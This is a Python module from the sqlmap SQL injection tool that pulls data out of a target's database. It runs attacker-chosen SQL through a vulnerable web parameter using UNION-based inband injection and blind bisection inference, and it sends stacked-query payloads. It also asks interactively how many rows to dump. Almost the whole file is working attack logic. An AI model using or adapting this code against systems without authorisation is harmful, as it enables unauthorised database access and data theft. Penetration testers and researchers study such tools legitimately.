#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import time
from lib.core.agent import agent
from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage
from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.settings import SECONDS
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.use import unionUse
from lib.techniques.blind.inference import bisection
from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume
def __goInference(payload, expression):
start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
_, length, _ = queryOutputLength(expression, payload)
else:
length = None
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
count, value = bisection(payload, expression, length=length)
duration = int(time.time() - start)
if conf.eta and length:
infoMsg = "retrieved: %s" % value
logger.info(infoMsg)
infoMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(infoMsg)
return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None):
outputs = []
origExpr = None
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field)
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression.replace(expressionFields, field, 1)
else:
expressionReplaced = expression
output = resume(expressionReplaced, payload)
if not output or ( expected == "int" and not output.isdigit() ):
if output:
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg)
output = __goInference(payload, expressionReplaced)
if isinstance(num, int):
expression = origExpr
outputs.append(output)
return outputs
def __goInferenceProxy(expression, fromUser=False, expected=None):
"""
Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected
parameter through a bisection algorithm.
"""
query = agent.prefixQuery(" %s" % temp.inference)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
count = None
startLimit = 0
stopLimit = None
outputs = []
test = None
untilLimitChar = None
untilOrderChar = None
output = resume(expression, payload)
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
return output
if kb.dbmsDetected:
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are going blind"
logger.info(infoMsg)
# If we have been here from SQL query/shell we have to check if
# the SQL query might return multiple entries and in such case
# forge the SQL limiting the query output one entry per time
# NOTE: I assume that only queries that get data from a table
# can return multiple entries
if fromUser and " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
if limitRegExp:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Microsoft SQL Server":
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Oracle":
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( "MySQL", "PostgreSQL" ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
elif kb.dbms == "Microsoft SQL Server":
stopLimit += startLimit
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n"
else:
message = "can the SQL query provided return "
message += "multiple entries? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, payload)
if not stopLimit:
if not count or not count.isdigit():
count = __goInference(payload, countedExpression)
if count and count.isdigit() and int(count) > 0:
count = int(count)
message = "the SQL query provided can return "
message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: "
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
stopLimit = count
elif test[0] in ("q", "Q"):
return "Quit"
elif test.isdigit() and int(test) > 0 and int(test) <= count:
stopLimit = int(test)
infoMsg = "sqlmap is now going to retrieve the "
infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
elif test[0] in ("#", "s", "S"):
message = "How many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "Invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "Invalid choice"
logger.error(errMsg)
return None
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
for num in xrange(startLimit, stopLimit):
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num)
outputs.append(output)
return outputs
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
returnValue = ", ".join([output for output in outputs])
else:
returnValue = __goInference(payload, expression)
return returnValue
def __goInband(expression, expected=None):
"""
Retrieve the output of a SQL query taking advantage of an inband SQL
injection vulnerability on the affected parameter.
"""
output = None
partial = False
data = []
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if condition:
output = resume(expression, None)
if not output or ( expected == "int" and not output.isdigit() ):
partial = True
if not output:
output = unionUse(expression, resetCounter=True)
if output:
data = parseUnionPage(output, expression, partial, condition)
return data
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
"""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter. It can call a function to retrieve the output
through inband SQL injection (if selected) and/or blind SQL injection
(if selected).
"""
expression = cleanQuery(expression)
expression = expandAsteriskForColumns(expression)
value = None
if inband and conf.unionUse and kb.dbms:
if kb.dbms == "Oracle" and " ORDER BY " in expression:
expression = expression[:expression.index(" ORDER BY ")]
value = __goInband(expression, expected)
if not value:
warnMsg = "for some reasons it was not possible to retrieve "
warnMsg += "the query output through inband SQL injection "
warnMsg += "technique, sqlmap is going blind"
logger.warn(warnMsg)
conf.paramNegative = False
if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected)
return value
def goStacked(expression):
"""
TODO: write description
"""
expression = cleanQuery(expression)
comment = queries[kb.dbms].comment
query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery("%s;%s" % (query, comment))
payload = agent.payload(newValue=query)
page, _ = Request.queryPage(payload, content=True)
return payload, page